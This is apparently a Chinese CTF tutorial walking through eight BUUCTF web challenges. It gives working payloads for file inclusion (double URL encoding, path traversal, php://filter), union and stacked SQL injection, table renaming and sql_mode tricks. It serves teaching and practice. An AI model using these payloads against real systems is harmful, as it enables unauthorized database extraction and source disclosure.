buuctf Web 上
字数 1794 2025-08-11 17:40:29
Web安全CTF挑战解题教学文档
1. [HCTF 2018]WarmUp - 文件包含漏洞利用
漏洞分析
- 存在文件包含漏洞,通过
file参数包含任意文件 - 代码中设置了白名单检查机制:
source.php和hint.php - 检查逻辑分为四层:
- 检查参数是否存在且为字符串
- 检查参数是否在白名单中
- 检查参数截取"?"前部分是否在白名单中
- 检查URL解码后截取"?"前部分是否在白名单中
绕过方法
- 利用双重URL编码绕过检查:
- "?"的第一次编码:
%3f - 第二次编码:
%253f
- "?"的第一次编码:
- 构造payload:
file=source.php%253f.ffffllllaaaagggg
解题步骤
- 访问
hint.php获取提示:ffffllllaaaagggg(提示flag文件名) - 构造payload包含上级目录文件:
/index.php?file=source.php%253f../../../../ffffllllaaaagggg
2. [极客大挑战 2019]EasySQL - SQL注入
漏洞分析
- 登录框存在SQL注入漏洞
- 字符型注入(单引号闭合)
- 过滤规则较少,可直接使用常规注入技术
两种解法
-
联合查询注入:
- 判断字段数:
?username=1&password=2' order by 3%23 - 获取回显点:
?username=1&password=2' and 1=2 union select 1,2,3%23 - 直接获取flag
- 判断字段数:
-
万能密码绕过:
?username=admin' or '1'='1&password=admin' or '1'='1
3. [强网杯 2019]随便注 - 堆叠注入
漏洞分析
- 存在堆叠注入漏洞(可执行多条SQL语句)
- 过滤了
select,update,delete,drop,insert,where等关键词 - 查询语句结构:
select id,data from words where id =
解题步骤
- 判断注入类型:字符型(单引号闭合)
- 使用堆叠注入获取数据库信息:
1';show databases;# 1';show tables;# - 发现两个表:
words和1919810931114514 - 通过重命名表绕过过滤:
0'; rename table words to words1; rename table 1919810931114514 to words; alter table words change flag id varchar(100); - 查询flag:
1' or 1=1#
4. [极客大挑战 2019]Havefun - 简单代码审计
漏洞分析
- 直接通过GET参数
cat控制输出 - 代码逻辑:如果
cat==dog则输出flag
解题方法
直接构造payload:
/?cat=dog
5. [SUCTF 2019]EasySQL - 堆叠注入与SQL模式修改
漏洞分析
- 后端查询逻辑:
select $_POST[query] || flag from flag - 过滤了
from等关键词 ||被解释为逻辑或运算符
两种解法
-
修改SQL模式:
1;set sql_mode=PIPES_AS_CONCAT;select 1- 将
||解释为字符串连接符
- 将
-
直接构造查询:
*,1- 构造为
select *,1 || flag from flag
- 构造为
6. [ACTF2020 新生赛]Include - PHP伪协议利用
漏洞分析
- 文件包含漏洞(
file参数) - 无有效过滤
解题步骤
- 使用PHP伪协议读取源码:
?file=php://filter/read=convert.base64-encode/resource=flag.php - 解码获取flag
7. [极客大挑战 2019]Secret File - 文件包含与源码泄露
漏洞分析
- 发现隐藏页面
Archive_room.php - 发现
action.php快速跳转(需抓包) - 发现
secr3t.php文件包含漏洞- 过滤了
tp/input/data等关键词 - 但未过滤
php://filter
- 过滤了
解题步骤
- 使用伪协议读取
flag.php:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php - 解码获取flag
8. [极客大挑战 2019]LoveSQL - 完整SQL注入流程
漏洞分析
- 登录框存在SQL注入
- 无有效过滤
解题步骤
- 判断字段数:
username=admin' order by 3%23 - 确定回显点:
username=1' union select 1,2,3%23 - 获取数据库信息:
username=1' union select 1,database(),version()%23 - 爆表:
username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 - 爆字段:
username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23 - 获取数据:
username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
通用技巧总结
-
文件包含漏洞:
- 使用
php://filter读取源码 - 尝试目录遍历(
../../../../) - 注意编码绕过(双重URL编码)
- 使用
-
SQL注入:
- 判断注入类型(数字/字符)
- 联合查询获取信息
- 堆叠注入绕过过滤
- 表/列重命名技巧
-
源码审计:
- 查看页面源代码寻找隐藏信息
- 分析代码逻辑寻找条件绕过
- 注意注释中可能包含提示
-
工具使用:
- BurpSuite拦截快速跳转页面
- Base64解码隐藏信息
- 编码绕过过滤机制